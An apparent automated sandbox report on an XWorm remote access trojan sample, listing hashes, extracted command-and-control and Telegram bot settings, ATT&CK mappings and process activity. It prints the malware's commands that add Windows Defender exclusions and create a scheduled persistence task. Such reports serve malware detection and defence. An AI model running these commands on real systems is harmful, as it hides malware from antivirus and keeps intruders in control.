xworm | 70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60

General

Target

XClient.exe
Size

80KB
MD5

18bfa92b77cf828eef637da14eefb770
SHA1

9c010b423e035c0751050bf96f61750509734029
SHA256

70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60
SHA512

de1cdaa74edf4d0604bc4625ee55ea15d627378c243b65e4cf19c9d5d28abdaafad288172ac7323d5ab1869b530f96dd553b38fe548ee6a4df4e2934fb9c3ca4
SSDEEP

1536:WJmDhjyCoaQ7o7nacdQNZwKdeol9bYjZomFqW6XOmH7AHmn+k:bVjVeOnacdQEwj9bY1omFcOmH7F+k

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

publication-glossary.gl.at.ply.gg:4444

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/1344-1-0x0000000000770000-0x000000000078A000-memory.dmp	family_xworm
behavioral2/files/0x000b000000023cca-57.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
224	powershell.exe
4104	powershell.exe
1048	powershell.exe
380	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	XClient.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe

Executes dropped EXE 3 IoCs

pid	Process
4300	security
4568	security
3484	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	XClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4996	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1344	XClient.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
224	powershell.exe
224	powershell.exe
4104	powershell.exe
4104	powershell.exe
1048	powershell.exe
1048	powershell.exe
380	powershell.exe
380	powershell.exe
1344	XClient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1344	XClient.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	1344	XClient.exe
Token: SeDebugPrivilege	4300	security
Token: SeDebugPrivilege	4568	security
Token: SeDebugPrivilege	3484	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1344	XClient.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 224	1344	XClient.exe	83
PID 1344 wrote to memory of 224	1344	XClient.exe	83
PID 1344 wrote to memory of 4104	1344	XClient.exe	85
PID 1344 wrote to memory of 4104	1344	XClient.exe	85
PID 1344 wrote to memory of 1048	1344	XClient.exe	87
PID 1344 wrote to memory of 1048	1344	XClient.exe	87
PID 1344 wrote to memory of 380	1344	XClient.exe	89
PID 1344 wrote to memory of 380	1344	XClient.exe	89
PID 1344 wrote to memory of 4996	1344	XClient.exe	91
PID 1344 wrote to memory of 4996	1344	XClient.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:380
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4996

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4568

C:\Users\Admin\AppData\Roaming\security
C:\Users\Admin\AppData\Roaming\security
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\security.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0256bd284691ed0fc502ef3c8a7e58dc

SHA1
dcdf69dc8ca8bf068f65d20ef1563bbe283e2413

SHA256
e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf

SHA512
c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
da5c82b0e070047f7377042d08093ff4

SHA1
89d05987cd60828cca516c5c40c18935c35e8bd3

SHA256
77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

SHA512
7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ahfeisi.yku.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
80KB

MD5
18bfa92b77cf828eef637da14eefb770

SHA1
9c010b423e035c0751050bf96f61750509734029

SHA256
70441672a9bdcdab038ce4944ddb852afd678f38a6058601dc3f5cd57b5bea60

SHA512
de1cdaa74edf4d0604bc4625ee55ea15d627378c243b65e4cf19c9d5d28abdaafad288172ac7323d5ab1869b530f96dd553b38fe548ee6a4df4e2934fb9c3ca4

Download Submit
memory/224-12-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/224-17-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/224-14-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/224-13-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/224-11-0x000001E6E58B0000-0x000001E6E58D2000-memory.dmp

Filesize
136KB

Download
memory/1344-0-0x00007FFCBBE73000-0x00007FFCBBE75000-memory.dmp

Filesize
8KB

Download
memory/1344-55-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/1344-56-0x00007FFCBBE70000-0x00007FFCBC931000-memory.dmp

Filesize
10.8MB

Download
memory/1344-1-0x0000000000770000-0x000000000078A000-memory.dmp

Filesize
104KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads